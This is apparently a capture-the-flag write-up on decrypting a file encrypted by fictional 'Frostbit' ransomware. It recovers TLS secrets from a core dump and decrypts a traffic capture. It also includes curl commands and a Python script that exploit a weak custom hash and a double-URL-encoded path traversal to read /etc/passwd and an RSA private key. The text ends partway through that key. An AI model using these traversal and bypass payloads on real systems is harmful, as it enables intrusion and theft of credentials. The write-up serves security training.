Decrypt the Naughty-Nice List

Difficulty: ❄ ❄ ❄ ❄ ❄
Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-Nice list.

Hints

Frostbit Hashing

From: Dusty Giftwrap
The Frostbit infrastructure might be using a reverse proxy, which may resolve certain URL encoding patterns before forwarding requests to the backend application. A reverse proxy may reject requests it considers invalid. You may need to employ creative methods to ensure the request is properly forwarded to the backend. There could be a way to exploit the cryptographic library by crafting a specific request using relative paths, encoding to pass bytes and using known values retrieved from other forensic artifacts. If successful, this could be the key to tricking the Frostbit infrastructure into revealing a secret necessary to decrypt files encrypted by Frostbit.

Frostbit Dev Mode

From: Dusty Giftwrap
There’s a new ransomware spreading at the North Pole called Frostbit. Its infrastructure looks like code I worked on, but someone modified it to work with the ransomware. If it is our code and they didn’t disable dev mode, we might be able to pass extra options to reveal more information. If they are reusing our code or hardware, it might also be broadcasting MQTT messages.

Frostbit Crypto

From: Dusty Giftwrap
The Frostbit ransomware appears to use multiple encryption methods. Even after removing TLS, some values passed by the ransomware seem to be asymmetrically encrypted, possibly with PKI. The infrastructure may also be using custom cryptography to retrieve ransomware status. If the creator reused our cryptography, the infrastructure might depend on an outdated version of one of our libraries with known vulnerabilities. There may be a way to have the infrastructure reveal the cryptographic library in use.

Frostbit Forensics

From: Dusty Giftwrap
I’m with the North Pole cyber security team. We built a powerful EDR that captures process memory, network traffic, and malware samples. It’s great for incident response - using tools like strings to find secrets in memory, decrypt network traffic, and run strace to see what malware does or executes.

Solution

Artifacts

The following files are delivered with the download:

  • Filename: DoNotAlterOrDeleteMe.frostbit.json
    Content: {"digest":"8000a9803204129aa16da8330a00102c","status":"Key Set","statusid":"cAwzkltLXZHSw"}
    Description: A file left by the ransomware probably to identify the client
  • Filename: frostbit.elf
    Content: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=twFnsUORqqujpF2IKOpc/fGToVu04lOziSdznrxR4/fBxGnDHL6jeZzih8PnXE/rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped
    Description: The actual ransomware
  • Filename: frostbit_core_dump.13
    Content: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)
    Description: The coredump from the execution of the ransomware
  • Filename: naughty_nice_list.csv.frostbit
    Content: Binary data
    Description: The encrypted naughty nice list
  • Filename: ransomware_traffic.pcap
    Content: pcap capture file
    Description: The pcap of the traffic generated byt the ransomware

The core dump

The core dump seems corrupted and I was not able to open it with common tools, so I resorted to a simple strings, revealing a bunch of useful info, in particular the following:

1
2
3
4
CLIENT_HANDSHAKE_TRAFFIC_SECRET c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 e6767af7846e360970021562b5ac02d3e5fcb01409ead3309d91af957f5484f2
SERVER_HANDSHAKE_TRAFFIC_SECRET c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 1a5fe244a7817ad46f195972ecac14af511ab5e14462434022729e88062fc59c
CLIENT_TRAFFIC_SECRET_0 c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 ca4217b4b9ba666965bbf63d2b207a32e8698f60c627ae7b4ec2cfaddc3d7ee6
SERVER_TRAFFIC_SECRET_0 c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 6db935cad2572f57e40ad1334beecd013dddbca2309eff5a9ce2b34b55d3c80f
1
https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c

The pcap

Having extracted the traffic secrets from the core dump, I then decrypted the traffic of the file ransomware_traffic.pcap using tls-decryption. Then I opened the decrypted pcap with wireshark and extracted the full http stream:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /api/v1/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Sat, 21 Dec 2024 08:27:03 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"nonce":"9e60e7c02163359a"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api/v1/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip

{"encryptedkey":"90fa90da0eabcfafffeb5a1c27a322c0b2558ee2e775def3745f05b69fe827b2c213d1851dc681719c2daa4929f939361b9ae0676d05c866973c8a9001158a8e7d1b85701aff9267c180e956564edd5ce1582eaf18f391d03fb7b3376a9014c3dd0ac4e2f79653d6a3c2f12fc445290cc712b873310c8302d9f27da95b57bb41b8596a3aa57ddc0a2e818bf6f1cdd1e4e1bac065a606c15c419ba376259e2e576d5ec266e70c84f44ae48abcda7b5a1c0fdbd44617d1df67c811fb4c0a6d5d88b1472a053ed98010130685402f5d0843ee021aabd5c63e199bd57f91d044a1346958756f01249d1df61bfb2f4105ace8cbba704533e53db5081ff24e3afb4e7e466437fcc4a15e349c6632380e6bd07494fa320945ac0b2fa670457eeef187e36c8ea54676a366c796d8ae2c4e6a5ce8ccc773f91bb9afc553085ec65b369b0d2d8b580aaa05263a40e74c427210764ab163e4e86fb540fe0e87a9aeddc452f3e8facaaedaa7a74294748d2478282b6b8033df4e79b478bc07bfd68f06b9b85ba7998ba2f113ebbab5a9f5f4f404eabd3af285ab22585e37b5ac00d5834a4a4736f26d6b7365d27cd17523a506dde96c4563b06dd2702ae786645509c37d32fbd21554aba4a2bf0ea7be258c6816bdf37e6a4b1e7af6876a2683f34c10f96b072d8fe2a91d23a300afcd70f594669271f57317caf8a885c4e0284076ddb978b1","nonce":"9e60e7c02163359a"}
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Sat, 21 Dec 2024 08:27:03 GMT
Content-Type: application/json
Content-Length: 92
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"digest":"8000a9803204129aa16da8330a00102c","status":"Key Set","statusid":"cAwzkltLXZHSw"}

The executable

When started, the executable sets up the example values for digest and status (red box) and searches for the presence of the APP_DEBUG environment variable (green box):

If the environment variable is set to APP_DEBUG="true" it will set the server to http://localhost (green box), otherwise it will use https://api.frostbit.app (red box):

After that, it will check the presence of the DoNotAlterOrDeleteMe.frostbit.json file:

And it will try to load the file public_key.pem:

The content of this file will be used to generate the key with the generateKey function:

Once the key has been generated, the executable will check for the existance of the file naughty_nice_list.csv

If this file is found it will then go ahead, create the naughty_nice_list.csv.frostbit seen in the artifacts and encrypt the original file using the encryptFile function:

The encryptFile function encrypts the file using AES-CBC and the previously generated key along with the nonce as IV:

Subsequent operations will encrypt the key, send the encryptedkey to the server, receive the final content for DoNotAlterOrDeleteMe.frostbit.json, save it and terminate.

The ransom note

By following the link found in the core dump, we can also find the ransom note at url https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c.

The debug option in the APIs

Here I got hinted toward trying something similar to the executable on the API, therefore I added the debug=true parameter to the url and noticed the variable debugData being populated with a base64 that get decoded showing a json:

1
2
3
4
5
6
7
{
"uuid": "3da17f67-ee61-455d-afc2-aa20e8c7911e",
"nonce": "REDACTED",
"encryptedkey": "REDACTED",
"deactivated": false,
"etime": 1734998400
}

The hashlib

Tampering the digest parameter can lead to an error that shows some internals of the api. Especially, removing one character returns the following error:

1
2
curl "https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102&debug=true"
{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n"}

The error leads to the FrostBiteHashlib.py file that can be downloaded from the url https://api.frostbit.app/static/FrostBiteHashlib.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import traceback
import binascii

class Frostbyte128:
def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
self.file_bytes = file_bytes
self.filename_bytes = filename_bytes
self.filename_bytes_length = len(self.filename_bytes)
self.nonce_bytes = nonce_bytes
self.nonce_bytes_length = len(self.nonce_bytes)
self.hash_length = hash_length
self.hash_result = self._compute_hash()

def _compute_hash(self) -> bytes:
hash_result = bytearray(self.hash_length)
count = 0

for i in range(len(self.file_bytes)):
xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
count += 1

for i in range(len(self.filename_bytes)):
count_mod = count % self.hash_length
count_filename_mod = count % self.filename_bytes_length
count_nonce_mod = count % self.nonce_bytes_length
xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
hash_result[count_mod] = hash_result[count_mod] & xrd
count += 1

return bytes(hash_result)

def digest(self) -> bytes:
"""Returns the raw binary hash result."""
return self.hash_result

def hexdigest(self) -> str:
"""Returns the hash result as a hexadecimal string."""
return binascii.hexlify(self.hash_result).decode()

def update(self, file_bytes: bytes = None, filename_bytes: bytes = None, nonce_bytes: bytes = None):
"""Updates the internal state with new bytes and recomputes the hash."""
if file_bytes is not None:
self.file_bytes = file_bytes
if filename_bytes is not None:
self.filename_bytes = filename_bytes
if nonce_bytes is not None:
self.nonce_bytes = nonce_bytes

self.hash_result = self._compute_hash()

def validate(self, hex_string: str):
"""Validates if the provided hex string matches the computed hash."""
try:
decoded_bytes = binascii.unhexlify(hex_string)
if decoded_bytes == self.digest():
return True, None
except Exception as e:
stack_trace = traceback.format_exc()
return False, f"{stack_trace}"
return False, None

This library generates a digest of a file contents along with its filename, using the nonce as the XOR key. This library is vulnerable for two main reasons:

  1. The validate function returns the exception stack trace, which is the reason that allowed us to find the library file in the first place
  2. The filename gets processsed after the file contents, so a specifically crafted filename could completely cancel out the contribution of the file contents.

Exploiting the library can allow to obtain a digest of only zeroes by padding the filename and appending the nonce two times. For example, given the standard hash length of 16 bytes and the statusid as filename we can zero out the digest as follows:

  • The filename “cAwzkltLXZHSw”, 13 bytes long (“6341777a6b6c744c585a485377” in hex)
  • A padding of 3 bytes (e.g. “ff”), so to line up with the hash length
  • The nonce of 8 bytes, repeated to reach the hash length
    The result would be the following 32 bytes:

    These would cancel out any contribution by both the file content and the filename itself, leading to the digest 00000000000000000000000000000000 (00, 16 times):

The LFI

Tampering the statusId in the URL we can observe a different error, leading toward a LFI vulnerability:

1
2
(act3-ransomware) thedead@maccos act3-ransomware % curl "https://api.frostbit.app/view/cAwzkltLXZHS/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&debug=true" 
{"debug":true,"error":"Status Id File Not Found"}

Attempting various LFI payloads we can observe that some of them return more interesting results:

1
2
(act3-ransomware) thedead@maccos act3-ransomware % curl "https://api.frostbit.app/view/..%252F..%252F..%252F..%252Fetc%252Fpasswd/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&debug=true"
{"debug":true,"error":"Invalid Status Id or Digest"}

This test demonstrates that a LFI is actually present, it needs to be double url encoded (e.g. / -> %2f -> %252f) and that the root directory is located to ../../../../ relatively to the application running directory, but suggests that the file gets validated against the FrostBiteHashlib seen before. Attempting the LFI appending the file as seen before didn’t work:

1
2
(act3-ransomware) thedead@maccos act3-ransomware % curl "https://api.frostbit.app/view/..%252f..%252f..%252f..%252fetc%252fpasswd%25ff%25ff%259e%2560%25e7%25c0%2521%2563%2535%259a%259e%2560%25e7%25c0%2521%2563%2535%259a/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&debug=true"
{"debug":true,"error":"Status Id File Not Found"}

I assumed this is due to the presence of printable characters in the nonce, for example printing it in python results in:

1
2
>>> print(b'\x9e\x60\xe7\xc0\x21\x63\x35\x9a')
b'\x9e`\xe7\xc0!c5\x9a'

I have then spent some time to find accepted alternatives to these printable characters so to introduce the least possible variance in the resulting digest. The following table shows the resulting values with an incoming hash of only ff:

The highlighted values are the ones that have changed, and these could either be only the shown value or 0, depending on the hash results from the first loop (file_bytes XOR nonce_bytes). Having 11 bytes that can assume 2 values, this would result in 2 ^ 11 = 2048 possible digest values. This is a fairly big number but manageable with a script 😁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
from itertools import product
import re
import base64
import urllib.parse

regex = r'const debugData = "(.*?)";'

base_url = "https://api.frostbit.app/view/{}/{}/status?digest={}&debug=true"

uuid = "3da17f67-ee61-455d-afc2-aa20e8c7911e"

digest_str = "00{}00000{}0{}0{}0{}0{}0{}00000{}0{}0{}0{}0"
ranges = [[0,8],[0,8],[0,8],[0,8],[0,4],[0,4],[0,8],[0,8],[0,8],[0,8],[0,4]]

padding_byte = b"\xff"
append_nonce = b"\x9e\xe0\xe7\xc0\xa1\xe3\xb5\xda\xde\xe0\xe7\xc0\xa1\xe3\xb5\xda"

file = input ("File: ")

print ("FILENAME --> {}".format(file))
file = file.encode("utf-8")
while len(file) % 16 != 0:
file += padding_byte
print ("PADDED FILENAME --> {}".format(file))
file += append_nonce
print ("PADDED FILENAME WITH APPENDED NONCE --> {}".format(file))
file = urllib.parse.quote_plus(urllib.parse.quote_plus(file))
print ("DOUBLE URL ENCODED --> {}".format(file))

for combination in product(*ranges):
digest = digest_str.format(*combination)
url = base_url.format(file, uuid, digest)
print ("ATTEMPTING DIGEST --> {}".format(digest))
r = requests.get(url)
if "Status Id Too Long" in r.text:
print (" --> ERROR!!! Status Id Too Long !!!")
break
if "Invalid Status Id or Digest" not in r.text and "Status Id File Not Found" not in r.text:
print (" --> SUCCESS")
matches = re.search(regex, r.text, re.MULTILINE)
b64_value = matches.group(1)
print ("DEBUG DATA B64 VALUE --> {}".format(b64_value))
print (" --> DECODED STRING --> ")
print (base64.b64decode(b64_value).decode("utf-8"))
break

This script handles the padding of the file and its double url encoding, then it iterates through the possible digests and, if successful, it returns the value of the debugData const decoded from base64. Running it with the file ../../../../etc/passwd provides the expected result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(act3-ransomware) thedead@maccos act3-ransomware % python3 lfi.py 
File: ../../../../etc/passwd
FILENAME --> ../../../../etc/passwd
PADDED FILENAME --> b'../../../../etc/passwd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
PADDED FILENAME WITH APPENDED NONCE --> b'../../../../etc/passwd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x9e\xe0\xe7\xc0\xa1\xe3\xb5\xda\xde\xe0\xe7\xc0\xa1\xe3\xb5\xda'
DOUBLE URL ENCODED --> ..%252F..%252F..%252F..%252Fetc%252Fpasswd%25FF%25FF%25FF%25FF%25FF%25FF%25FF%25FF%25FF%25FF%259E%25E0%25E7%25C0%25A1%25E3%25B5%25DA%25DE%25E0%25E7%25C0%25A1%25E3%25B5%25DA
ATTEMPTING DIGEST --> 00000000000000000000000000000000
--> SUCCESS
DEBUG DATA B64 VALUE --> cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo=
--> DECODED STRING -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The public key

The messages of the frostbitfeed discovered in the Santa Vision challenge provides a useful hint for this challenge: Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key.
Leveraging on the LFI script and knowing the relative path, it becomes trivial to retrieve the key file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
(act3-ransomware) thedead@maccos act3-ransomware % python3 lfi.py
File: ../../../../etc/nginx/certs/api.frostbit.app.key
FILENAME --> ../../../../etc/nginx/certs/api.frostbit.app.key
PADDED FILENAME --> b'../../../../etc/nginx/certs/api.frostbit.app.key'
PADDED FILENAME WITH APPENDED NONCE --> b'../../../../etc/nginx/certs/api.frostbit.app.key\x9e\xe0\xe7\xc0\xa1\xe3\xb5\xda\xde\xe0\xe7\xc0\xa1\xe3\xb5\xda'
DOUBLE URL ENCODED --> ..%252F..%252F..%252F..%252Fetc%252Fnginx%252Fcerts%252Fapi.frostbit.app.key%259E%25E0%25E7%25C0%25A1%25E3%25B5%25DA%25DE%25E0%25E7%25C0%25A1%25E3%25B5%25DA
ATTEMPTING DIGEST --> 00000000000000000000000000000000
--> SUCCESS
DEBUG DATA B64 VALUE --> LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlKS0FJQkFBS0NBZ0VBcGxnNWVLRHZrOWYrZ3NXV1pVdHBGcjgwb2pUWmFibTRSdHkwTG9yd3RxNVZKZDM3CjhHZ0Ftd3hJRm9kZHVkUCt4TU56OXU1bFJGRXhxRFdvSzJUeEtieWlHVE9LVjlJbHBaVUxGeWZWOS8vaTh2cTQKZXc3SDlUczdkdU5oNGdlSE55c2ZXcWRyVmViVFJaNkFlQ0FlSjJjWnVWUDRicmlhaTBYRHEyS1VkL3NjN2tnUQp4WEdndzB0L0ZxaURnbHBTRjFQRnhQdlV6SndjSk5RaElZUUN4UkN3SGtIcVZTblRvWmNuakpqaGdWeVhzVE55CjVwT0xCV3FnNW5Tblhyd2w4SmZHa1VITi9Ud2JiODI5cklNVDU1MFp4TzhLWUg0cS9rVjNjd1ZjU1lmRVl2TUoKSm9lUUZDZ0hpdUw1RXV4QVViTzZLWmdUblJXaFdRbW90VFFiK2ZDajhzaWxqZzhkSWR3eEI2OTBMdlpZcHZ2NAp5UExZZ3FDZjlQenpnclpQdmxKK1hrSW5KM3MvK0RPTDBWYkNnVEhQMGdicE83a2RqaVRPQlMxSnArRnRiQ0crCjZvbXZ3U2cvY0VMTm5zRENzNkYxeDMzaVI3dHVtZVF5U3dOUFdOR3Q2cE9IbXlHZkhZTDJSeGhqNVM1bkNYcXgKR0N4MnEybUg4bDRBTDViYnpWVnhFRWErK0ZnbmQ5cjI0U1NDM2J2bE5WVDBDRGZCZG9LelR1TzhST05CNFdLTgprYnFOaitNRThKREhVQTM5bGQveXFJVmlHampBRVIvTlRpc2hrNXprMDQxOUFpUXBIZk9VbkNOeHExN05aUDVLCmdMeHg3eHJUYUxkUG0wWDlhTU9jcXVJUGVuanJ3WmZJVnB5cVpvVW4vRDB6aW5vTklub2s4Q0ZkYkQ4Q0F3RUEKQVFLQ0FnQUFnd3o3UFp1YXFSc3VhZmM5WWJsWHlFcVRwaGlDQkd1SWh1aHVsOGhuSjJuYjBPTktyRHg5cmsxRQp0SWl6a1I4QklxcXdvblZveHRIOXVMS1VBMG9lcm13TFpGdFRxeWU2Q2FwVEJvWjFiWGNFTGxoeitBUkJuSHlICkRHL3JMY00rM1lTc3h1MEFsek4wcklHWDVMbmo0alRHdUZ2bEhudG1HYkxoOVFxSEpEelpLV21UQUNxVWNUTjAKOGJpTSt2NHc1UnRxNlBRb3Q3dllWUmNJQm5KcFR2Mm9xeU9mUlQ4RnJhbzlnMjEzSkE2eG5JOENLOVhKODN3eAo1NmtHcmluQUJVeGFvS0c2czMzK1hSSFR1cnN4S0R4SlB4elA2TkpzZ010VS84a3cwbEFLZ2hvTGNvZkVmbWZlCm9VQWw3Ull3T2ZkZ1VkVkpGZndzM3ZjbFBGeEFVTU5OaUpXOFRsL0lZNm1aNVBwMUdwaStvbUJPeVlmazlpeU0KUzhSNzZhZmozZDBSaHRUMEppaTg4eUZ0TUJWRkxTTDhZMHNYRVhFTWRJWHRveDdmY2IyVGxaeFhvZFlKZUhKQwowZExRM2I3Q0IrU1B5RGozeFpaSEVGajREUlh3dUNZS2xYc2FvbVhMN3E5YnFMOGxqakpxYzRXUldDZTErNTFlCnNGUDlmVU16dWM2bGNiSGN6TGhONWRnUitjcXJpTW84THpyd3BOaWE2RGpHeUJNZk95UExpTjBaN1pmWHJYRHYKVlNiQmpyTXFlTXRDNlNVMTBDZDJtVlpMTkpMakduSXdmL1NkdW83Vm9OVGc4RjlHY2FVclNxSEt1QjNkTVU5YwpydlJIQnhzRHI0aXN6VzRYMExDTTZ6U1U4NGFFUzFrUC9DTktnNHpaWFYyR3ZZTUdGUUtDQVFFQTV3RmQrWWJFCm4wMkhUWm8rOFYwUi9jSzM4TnZFREFBU0t4RXNSRU9UR3liS3c0QjlvQ0w2NHNFOFJZWE9yYllvMk1HTEM3SkwKcTA4eUxyRVdDY1dDT2JkRGhNYlR4WVYrSjByU0d4aUdqaU9MR0dvV3dnS0hTMUZuck9CZEw3YkZCcWF5RVNqaQpFcWZWTmsyVnJtbGhKS09NV3diMkFQR0w4czRxZFFrckhXd3B0cGMrVURKdUpIZGM2UUNzSHJIeWFmYWhmcXdkCmFUSHB5QlJxSUs2OUZtTVNCUGlTTUx4RSsxR0kyeW95MDBaNTVCRUVKalExYlRHMUhkT2tyTmY1ZkJmKzZXTkEKQTNkYy8yTGFEazdJb3RsNVpndWhsd1VReFp6eFdobjJYMjNOVmNRSkdqSjRzMEx3Snl6UGRpMUNVbGdBL1V5UQpyMlVhRDBueFlYbDV5d0tDQVFFQXVGZlEycE1kME03QytSN1NtZk4zNzY1b3FHS0wrMkZ3a1NncmhVVzJhV3psCjI3U215VlNDMExsb0dERzZHb3JyaHRMaXFtZkZHRFcrUkJwRzBhSklUR09TYmUzTjBWSDlwU3U5YnV1cm52SlcKRGppamFOREtKbnVpaG51QkgxVkRzSENaUk9JNld2REZXMXh5QlBYbzVuUlZZNnk1T3IyZUdUaS9rYkIvckVsZApFZHZ1QTJDY3dZT1NudWZmY2NROFRSSStSWExWMUpEVDNsV0dLeFJ2eUd1TVVJTnpOazBuWk44WC9WdzFTSTRKCmRmWmdXcm9peklaOWN1OVJoWVBkenFLVzU1VGR1S1JSRkRiU2JRRWVjUDgvSHhVdzBacjNTM1ovZFdBMnZTbUsKbzNPeG1TSXhuTmxBa1Zad3J0b0xyOHFYZ2d2TjVkVWR3LzBCVHJUWTNRS0NBUUVBeERjcURwQkZwUmFpYmUwdAp0N0NaWHBXdHpoMnR5WStwM3dFSU83ZTJWV0srNmc3VEpsbHdCM21oYTJBNzdOdUVtSkRWUFlzbHNRNWxEcm9HCmdTaE45QjVSY0krK1E5R2ZGVnI5V2x5YnRsSkVqT2xZQ1ZWQ2ZGeGFGc0xCQkkxWGo4MjZCTTlZTUFaMUdWb1AKWVFWTHFXWnVDc2UvMzQ5TWsySkJPQVlncEM1Q3hFQjFnb05EZ1NBT1FDLzlBMW1kRWhxV2xGVTM2aW1tYlBmQwpLWjZqS0VmZ2YyNXdKb3RVZ0xDQjhiOUhTcVJiVnJpSmNMWDZCNVVvUlh5SExQV0tpYmlNSXN2V0ROdXZsNUhzCnJDaUpUYUl4OXRhOFc5M0dvRVF0MFoycDR1Y09lZUk0NVJLbjZZUmJIcnQyUU9neXBHVHgralcxMC9XcGpBRC8KMGc3dnZ3S0NBUUIxVlYvWVg5K1FjcXBqU3AwZDVId29rTWlJdFFFSVprTHlBYkdCeUplTWp3WFhUQ3NFNXNmRQo5dDRzMkNudWp4SE81UmZsQXR2T3h4WnQzcFBKQnhRaG14Y3U1VGdselp3MnI1cUpxWE81WGVJc2R4eDdzTG1hCnVRTC91a2k3bXRmVXpEYWlRNlNGRWM5c2tYRDVlMVJjcXh0V3NDL09GYmMxc29zc3ZqemxlbVRFNDBtaDJMS3QKOFlNM3BicnhmTWdzL2ptb2xxbEgvVTc5cTA0VXlaTkU3RCtKVjhIVGhGUll2aTlVMG9ZUHdtaC9MdXl4a3R4bgpkZ3NQUndpS2hSNS9VYm5mZVQrUE1QZHllRnFEaXp6SEM1QXZ4cHNtTHc3TWQ0WTFQYUpaME1FdnZJb0VRR0YzCnhraDB1YUpMaVBuN1VHWVRIbFJWdjhxTVh0T2dOemY1QW9JQkFETUMyWDVGQmp5eHYveVRBUk9nOERuOTBLdGgKcDJQcUxEVkdlSERMMnYweGN5dkl0aEl2ZTMveEdaZ3RCZ2hmU3lNUGNxWjVzOGgxNW0rL1FOTmQ5NXpsN3hxRgo1REpQb1A2NncrL3dNK1c0bS92b01RTTFrYlFTbkRxdHRMekc0VEFYcmpxa2x2eDBRUUFKQWtDNVg5TDM5V3VFCit1SHJrTDJET09uMzJ0Y1N6aWM4U0hNY1pDZzZWUy9WSVhpOUM3MFhxNHB3YTVSdUZBdFY5dkJvOTB2RDJtK0YKeUlIbExVWGtMUnhGWlBQUVpOd3NBQ0Q4WW9SUFcvdzYwbjJ6N0J6QTVQY0laS05KbFpxYTlpeEJ1bkl4WlhJSQpqZDZmRHhPZVZqVTZ1c0t6U2Vvc29RQ2tFRnZobGtWSDZFSzZYZmg2WERGYXRBblp5RE5WUC9QUGloST0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K
--> DECODED STRING -->
-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEAplg5eKDvk9f+gsWWZUtpFr80ojTZabm4Rty0Lorwtq5VJd37
8GgAmwxIFoddudP+xMNz9u5lRFExqDWoK2TxKbyiGTOKV9IlpZULFyfV9//i8vq4
ew7H9Ts7duNh4geHNysfWqdrVebTRZ6AeCAeJ2cZuVP4briai0XDq2KUd/sc7kgQ
xXGgw0t/FqiDglpSF1PFxPvUzJwcJNQhIYQCxRCwHkHqVSnToZcnjJjhgVyXsTNy
5pOLBWqg5nSnXrwl8JfGkUHN/Twbb829rIMT550ZxO8KYH4q/kV3cwVcSYfEYvMJ
JoeQFCgHiuL5EuxAUbO6KZgTnRWhWQmotTQb+fCj8siljg8dIdwxB690LvZYpvv4
yPLYgqCf9PzzgrZPvlJ+XkInJ3s/+DOL0VbCgTHP0gbpO7kdjiTOBS1Jp+FtbCG+
6omvwSg/cELNnsDCs6F1x33iR7tumeQySwNPWNGt6pOHmyGfHYL2Rxhj5S5nCXqx
